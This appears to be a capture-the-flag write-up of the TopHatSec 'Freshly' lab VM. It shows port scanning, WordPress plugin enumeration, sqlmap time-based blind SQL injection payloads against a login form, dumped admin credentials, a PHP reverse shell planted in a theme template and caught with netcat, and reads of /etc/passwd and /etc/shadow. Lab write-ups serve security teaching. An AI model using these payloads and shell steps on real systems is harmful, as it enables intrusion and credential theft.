published on in writeup
tags: tophatsec

TopHatSec: Freshly

The goal of this challenge is to break into the machine via the web and find the secret hidden in a sensitive file.


[email protected]:~# nmap -n -p- -A

80/tcp   open  http     Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
443/tcp  open  ssl/http Apache httpd
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject:
| Not valid before: 2015-02-17T03:30:05+00:00
|_Not valid after:  2025-02-14T03:30:05+00:00
|_ssl-date: 2094-10-25T22:49:26+00:00; +79y202d9h02m31s from local time.
8080/tcp open  http     Apache httpd
|_http-methods: No Allow or Public header in OPTIONS response (status code 200)
|_http-title: Site doesn't have a title (text/html).

Port 80

Let’s start at the top… Browsing to port 80, you see little more than a nice Star Wars GIF. The page source is very simple: <img src="tumblr_mdeo27ZZjB1r6pf3eo1_500.gif">, so nothing there. Let’s not start steg analysis unless we have to.

Port 443

When you visit this page (and accept the poor certificate), you find a “simple” link to a Wordpress installation. I say simple… the link is actually generated by some crazy javascript.

<a href="wordpress/">Nice Find!...Proceed</a>
<script pagespeed_no_defer="" type="text/javascript">//<![CDATA[
(function(){var e=encodeURIComponent,f=window,h=document,m="width",n="documentElement",p="height",q="length",r="prototype",s="body",t="&",u="&ci=",w="&n=",x="&rd=",y=",",z="?",A="Content-Type",B="Microsoft.XMLHTTP",C="Msxml2.XMLHTTP",D="POST",E="application/x-www-form-urlencoded",F="img",G="input",H="load",I="oh=",J="on",K="pagespeed_url_hash",L="url=",M=function(a,c,d){if(a.addEventListener)a.addEventListener(c,d,!1);else if(a.attachEvent)a.attachEvent(J+c,d);else{var b=a[J+c];a[J+c]=function(){;b&&}}};f.pagespeed=f.pagespeed||{};var N=f.pagespeed,O=function(a,c,d,b,g){this.d=a;this.f=c;this.g=d;this.a=g;this.c={height:f.innerHeight||h[n].clientHeight||h[s].clientHeight,width:f.innerWidth||h[n].clientWidth||h[s].clientWidth};this.e=b;this.b={}};O[r].j=function(a){a=a.getBoundingClientRect();return{ 0!==f.pageYOffset?f.pageYOffset:(h[n]||h[s].parentNode||h[s]).scrollTop),left:a.left+(void 0!==f.pageXOffset?f.pageXOffset:(h[n]||h[s].parentNode||h[s]).scrollLeft)}};O[r].i=function(a){if(0>=a.offsetWidth&&0>=a.offsetHeight)return!1;a=this.j(a);var;if(this.b.hasOwnProperty(c))return!1;this.b[c]=!0;return<=this.c[p]&&a.left<=this.c[m]};O[r].l=function(){for(var a=[F,G],c=[],d={},b=0;b<a[q];++b)for(var g=h.getElementsByTagName(a[b]),k=0;k<g[q];++k){var v=g[k].getAttribute(K);v&&g[k].getBoundingClientRect&&this.i(g[k])&&!(v in d)&&(c.push(v),d[v]=!0)}b=!1;a=I+this.g;this.a&&(a+=w+this.a);if(0!=c[q]){a+=u+e(c[0]);for(b=1;b<c[q];++b){d=y+e(c[b]);if(131072<a[q]+d[q])break;a+=d}b=!0}this.e&&(d=x+e(JSON.stringify(this.h())),131072>=a[q]+d[q]&&(a+=d),b=!0);N.criticalImagesBeaconData=a;if(b){var c=this.d,b=this.f,l;if(f.XMLHttpRequest)l=new XMLHttpRequest;else if(f.ActiveXObject)try{l=new ActiveXObject(C)}catch(P){try{l=new ActiveXObject(B)}catch(Q){}}l&&(,c+(-1==c.indexOf(z)?z:t)+L+e(b)),l.setRequestHeader(A,E),l.send(a))}};O[r].h=function(){for(var a={},c=h.getElementsByTagName(F),d=0;d<c[q];++d){var b=c[d],g=b.getAttribute(K);if("undefined"==typeof b.naturalWidth||"undefined"==typeof b.naturalHeight||"undefined"==typeof g)break;if("undefined"==typeof a[b.src]&&0<b[m]&&0<b[p]&&0<b.naturalWidth&&0<b.naturalHeight||"undefined"!=typeof a[b.src]&&b[m]>=a[b.src].n&&b[p]>=a[b.src].m)a[g]={renderedWidth:b[m],renderedHeight:b[p],originalWidth:b.naturalWidth,originalHeight:b.naturalHeight}}return a};N.k=function(a,c,d,b,g){var k=new O(a,c,d,b,g);M(f,H,function(){f.setTimeout(function(){k.l()},0)})};N.criticalImagesBeaconInit=N.k;})();pagespeed.criticalImagesBeaconInit('/mod_pagespeed_beacon','','jcuzgYIkWZ',false,'QDez1u7wRsQ');

I literally have no idea… so let’s continue to Wordpress. There is not much content to go through, one post and a store where you can buy Custom Nuts and Pop Rocks, yum. It also looks like this has been installed using Bitnami WordPress Stack, this might be handy information later.

Port 8080

This looks to be exactly the same as what is running on port 443, but in plaintext.


Continuing with Wordpress, I ran wpscan against it and quite a lot popped (I’ve snipped out a lot of the extra information).

[email protected]:~# wpscan --url --enumerate p

[+] URL:

[!] The WordPress '' file exists exposing a version number
[!] Full Path Disclosure (FPD) in: ''

[+] WordPress version 4.1.1 identified from meta generator

[+] Enumerating installed plugins  ...
[+] We found 12 plugins:

[!] Title: Cart66 Lite <= 1.5.3 - SQL Injection
[i] Fixed in: 1.5.4

[!] Title: Google Analytics by Yoast 5.3.2 - Cross-Site Scripting (XSS)

[!] Title: ProPlayer - SQL Injection

[!] Title: WPtouch <= 3.6.6 - Unvalidated Open Redirect
[i] Fixed in: 3.7

So of the 12 plugins found, 4 of them are effected by various vulnerabilities. I started off by looking at the Cart66 SQLi, but it seems we have to be authenticated to Wordpress for it to work. Unfortunately, the ProPlayer SQLi didn’t work for me either. So it looks like we’re back to square one.


I circled back around to port 80, and started looking for any other files or directories etc.

[email protected]:~# wfuzz -c -z file,/usr/share/wfuzz/wordlist/general/megabeast.txt --hc 404

24691:  C=200     15 L	      23 W	    276 Ch	  " - login"

I found login.php, which contains a simple form. An incorrect login simply produces the number 0 underneath.

I tried some manual injections, but couldn’t force any SQL errors, so I fed the POST data into sqlmap to see if anything came up. Luckily, it did.

[email protected]:~# sqlmap -u "" --data "user=1&password=1&s=Submit"

Parameter: password (POST)
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: user=1&password=1' AND (SELECT * FROM (SELECT(SLEEP(5)))wVhd) AND 'Irjg'='Irjg&s=Submit

Parameter: user (POST)
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind (SELECT)
    Payload: user=1' AND (SELECT * FROM (SELECT(SLEEP(5)))bTUC) AND 'dvKT'='dvKT&password=1&s=Submit

web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL 5.0.11

So both the user and password fields are vulnerable to a very annoying blind injection. My hope from here, was to obtain administrative credentials for Wordpress…

available databases [7]:
[*] information_schema
[*] login
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] users
[*] wordpress8080

Database: wordpress8080
[1 table]
| users |

Database: wordpress8080
Table: users
[1 entry]
| username | password            |
| admin    | SuperSecretPassword |

PHP Shell

Now that I had access to Wordpress, I knew I could get a PHP shell on the host. Appearance > Editor gives you access to all of the PHP templates. I went into 404.php and completely replaced the code with php-reverse-shell.php from Kali.

Start a netcat listener and cURL the URL.

[email protected]:~# curl
[email protected]:~# nc -lnvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 50235
Linux Freshly 3.13.0-45-generic #74-Ubuntu SMP Tue Jan 13 19:37:48 UTC 2015 i686 athlon i686 GNU/Linux

Whilst poking around the filesystem, I found the flag in /etc/passwd.

$ cat /etc/passwd



A bad ‘file permission error’ has been made, allowing /etc/shadow to be world readable.

-rwxr-xr-x 1 root shadow 1030 Feb 17 01:56 /etc/shadow


candycane has a weak password, whereas user and root are subject to the same password re-use.

root: SuperSecretPassword
user: SuperSecretPassword
candycane: password